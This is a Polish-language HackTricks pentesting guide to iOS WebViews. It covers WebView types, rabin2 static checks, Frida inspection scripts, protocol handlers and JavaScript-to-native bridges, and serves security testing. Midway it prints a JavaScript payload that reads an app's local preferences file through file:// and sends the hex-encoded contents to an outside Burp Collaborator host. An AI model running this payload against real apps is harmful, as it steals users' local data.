hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md
2024-02-11 01:46:25 +00:00

291 lines
18 KiB
Markdown

# iOS WebViews
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Kod tej strony został wyodrębniony [stąd](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Sprawdź stronę, aby uzyskać dalsze szczegóły.
## Typy WebViews
WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcje i zabezpieczenia dla aplikacji iOS. Oto krótki przegląd:
- **UIWebView**, który od iOS 12 nie jest już zalecany ze względu na brak obsługi wyłączania **JavaScript**, co czyni go podatnym na wstrzykiwanie skryptów i ataki **Cross-Site Scripting (XSS)**.
- **WKWebView** jest preferowaną opcją do włączania treści internetowych do aplikacji, oferując lepszą kontrolę nad treścią i funkcjami zabezpieczeń. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli jest to konieczne. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że cała treść jest ładowana w sposób bezpieczny. Dodatkowo, architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływające na główny proces aplikacji.
- **SFSafariViewController** oferuje standaryzowane doświadczenie przeglądania stron internetowych w aplikacjach, rozpoznawalne dzięki swojemu charakterystycznemu układowi, obejmującemu tylko pole adresu do odczytu, przyciski udostępniania i nawigacji oraz bezpośredni link do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika w aplikacji. Musi być wyświetlany w widocznym miejscu zgodnie z wytycznymi App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Podsumowanie eksploracji konfiguracji WebViews
### **Przegląd analizy statycznej**
W procesie badania konfiguracji **WebViews** skupiamy się na dwóch głównych typach: **UIWebView** i **WKWebView**. Aby zidentyfikować te WebViews wewnątrz pliku binarnego, używane są polecenia, które wyszukują określone odwołania do klas i metody inicjalizacji.
- **Identyfikacja UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
To polecenie pomaga w zlokalizowaniu wystąpień **UIWebView**, poprzez wyszukiwanie tekstów z nim związanych w pliku binarnym.
- **Identyfikacja WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Podobnie jak w przypadku **WKWebView**, to polecenie wyszukuje w binarnym pliku tekstowe ciągi znaków wskazujące na jego użycie.
Ponadto, aby znaleźć sposób inicjalizacji **WKWebView**, wykonuje się następujące polecenie, które skupia się na sygnaturze metody związanej z jego inicjalizacją:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Weryfikacja konfiguracji JavaScript**
Dla **WKWebView** zaleca się wyłączenie JavaScript, chyba że jest to konieczne. Przeszukiwany jest skompilowany plik binarny w celu potwierdzenia, czy właściwość `javaScriptEnabled` jest ustawiona na `false`, co oznacza wyłączenie JavaScriptu:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Tylko weryfikacja bezpiecznej zawartości**
**WKWebView** oferuje możliwość identyfikacji problemów z mieszana zawartością, w przeciwieństwie do **UIWebView**. Sprawdzane jest to za pomocą właściwości `hasOnlySecureContent`, aby upewnić się, że wszystkie zasoby strony są ładowane za pomocą bezpiecznych połączeń. Wyszukiwanie w skompilowanym pliku binarnym jest wykonywane w następujący sposób:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Wnioski z analizy dynamicznej**
Analiza dynamiczna polega na sprawdzaniu sterty w poszukiwaniu instancji WebView i ich właściwości. Do tego celu używany jest skrypt o nazwie `webviews_inspector.js`, który działa na instancjach `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje informacje o znalezionych instancjach, w tym adresach URL i ustawieniach związanych z JavaScriptem i bezpieczną zawartością.
Inspekcję sterty można przeprowadzić za pomocą `ObjC.choose()`, aby zidentyfikować instancje WebView i sprawdzić właściwości `javaScriptEnabled` i `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
Skrypt jest wykonywany za pomocą:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Podstawowe wyniki**:
- Znaleziono i sprawdzono wystąpienia WebViews.
- Zweryfikowano włączenie JavaScriptu i ustawienia bezpiecznej zawartości.
To podsumowanie zawiera kluczowe kroki i polecenia związane z analizą konfiguracji WebView za pomocą statycznych i dynamicznych podejść, skupiając się na funkcjach zabezpieczeń, takich jak włączanie JavaScriptu i wykrywanie mieszanej zawartości.
## Obsługa protokołów WebView
Obsługa zawartości w WebView jest istotnym aspektem, zwłaszcza przy pracy z różnymi protokołami, takimi jak `http(s)://`, `file://` i `tel://`. Te protokoły umożliwiają ładowanie zarówno zdalnej, jak i lokalnej zawartości w aplikacjach. Podkreśla się, że podczas ładowania lokalnej zawartości należy podjąć środki ostrożności, aby zapobiec wpływaniu przez użytkowników na nazwę lub ścieżkę pliku oraz edytowaniu samej zawartości.
**WebViews** oferują różne metody ładowania zawartości. W przypadku **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** natomiast korzysta z `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` i `loadRequest:` do ładowania zawartości internetowej. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` są zwykle wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na możliwość ładowania określonego adresu URL lub katalogu do WebView, co potencjalnie może ujawnić poufne dane, jeśli zostanie podany katalog.
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym pliku binarnym, można użyć polecenia podobnego do poniższego:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
W odniesieniu do **dostępu do plików**, UIWebView pozwala na to powszechnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na false.
Przykład skryptu Frida jest dostarczony do sprawdzenia konfiguracji **WKWebView** dla ustawień zabezpieczeń:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Ostatnim przykładem jest ładunek JavaScript, który ma na celu wyciek lokalnych plików i pokazuje potencjalne ryzyko związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, co podkreśla znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Metody natywne ujawnione przez WebViews
## Zrozumienie interfejsów natywnych WebView w systemie iOS
Od wersji iOS 7 Apple udostępnił interfejsy API do **komunikacji między JavaScriptem w WebView a natywnymi** obiektami Swift lub Objective-C. Integracja ta jest głównie ułatwiana przez dwie metody:
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest połączony z identyfikatorem w `JSContext`. Pozwala to na bezproblemową integrację i komunikację między JavaScriptem a kodem natywnym.
- **Protokół JSExport**: Dziedzicząc protokół `JSExport`, natywne właściwości, metody instancji i metody klasy mogą być udostępniane JavaScriptowi. Oznacza to, że wszelkie zmiany dokonane w środowisku JavaScript są odzwierciedlane w środowisku natywnym i vice versa. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są nieumyślnie ujawniane za pomocą tej metody.
### Dostęp do `JSContext` w Objective-C
W Objective-C, `JSContext` dla `UIWebView` można uzyskać za pomocą następującego kodu:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Komunikacja z `WKWebView`
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystuje się przekazywanie wiadomości za pomocą funkcji `postMessage`, umożliwiając komunikację JavaScriptu z natywną aplikacją. Obsługa tych wiadomości jest ustawiana w następujący sposób, umożliwiając bezpieczną interakcję JavaScriptu z aplikacją natywną:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### Interakcja i testowanie
JavaScript może współdziałać z warstwą natywną poprzez zdefiniowanie obsługiwacza wiadomości skryptu. Pozwala to na operacje takie jak wywoływanie funkcji natywnych z strony internetowej:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można zastąpić funkcję zwrotną wewnątrz kodu HTML:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
```
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie `JavaScriptBridgeMessageHandler`, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Debugowanie iOS WebViews
(Tutorial oparty na [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Aby efektywnie debugować zawartość internetową w iOS webviews, konieczne jest skonfigurowanie specjalnego środowiska za pomocą narzędzi deweloperskich Safari, ponieważ wiadomości wysyłane do `console.log()` nie są wyświetlane w dziennikach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:
- **Przygotowanie na urządzeniu iOS**: Wymagane jest aktywowanie narzędzia Safari Web Inspector na urządzeniu iOS. Można to zrobić, przechodząc do **Ustawienia > Safari > Zaawansowane** i włączając _Web Inspector_.
- **Przygotowanie na urządzeniu macOS**: Na komputerze z systemem macOS, musisz włączyć narzędzia deweloperskie w Safari. Uruchom Safari, przejdź do **Safari > Preferencje > Zaawansowane** i wybierz opcję _Pokaż menu Deweloper_.
- **Połączenie i debugowanie**: Po podłączeniu urządzenia iOS do komputera z systemem macOS i uruchomieniu aplikacji, użyj Safari na urządzeniu macOS, aby wybrać webview, który chcesz debugować. Przejdź do _Develop_ w pasku menu Safari, najedź na nazwę urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz sprawdzić. Otworzy się nowe okno Safari Web Inspector w tym celu.
Jednak pamiętaj o ograniczeniach:
- Debugowanie za pomocą tej metody wymaga urządzenia z systemem macOS, ponieważ polega na Safari.
- Tylko webview w aplikacjach załadowanych na urządzenie za pomocą Xcode są uprawnione do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
## Odwołania
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>